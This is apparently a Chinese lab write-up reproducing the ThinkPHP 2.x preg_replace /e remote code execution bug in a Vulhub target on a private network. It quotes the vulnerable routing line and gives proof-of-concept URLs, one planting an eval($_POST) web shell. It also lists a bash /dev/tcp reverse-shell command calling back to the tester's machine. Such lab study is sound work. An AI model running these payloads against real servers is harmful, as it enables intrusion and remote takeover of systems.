Vulnhub-ThinkPHP 2.x 任意代码执行漏洞

郑重声明:所用漏洞环境为自建虚拟机vulnhub靶机环境,仅供本人学习使用。

漏洞简述

ThinkPHP 2.x版本中,使用preg_replace的/e模式匹配路由:

$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));

导致用户的输入参数被插入双引号中执行,造成任意代码执行漏洞。

准备环境

测试机IP:192.168.79.129

靶机IP:192.168.79.131

1. 启动Vulnhub靶机环境:

2. 验证靶机应用启用成功:

漏洞复现

POC 引用:http://ip:8080/index.php?s=/index/index/name/${@phpinfo()}

http://ip:8080/index.php?s=a/b/c/${@print(eval($_POST[1]))}

准备反弹Shell文件shell.sh

bash -i >& /dev/tcp/192.168.79.129/4444 0>&1

启http server

使用NC侦听反弹端口

上传并执行反弹Shell文件

得到反弹Shell

关闭环境

©著作权归作者所有,转载或内容合作请联系作者
【社区内容提示】社区部分内容疑似由AI辅助生成,浏览时请结合常识与多方信息审慎甄别。
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

友情链接更多精彩内容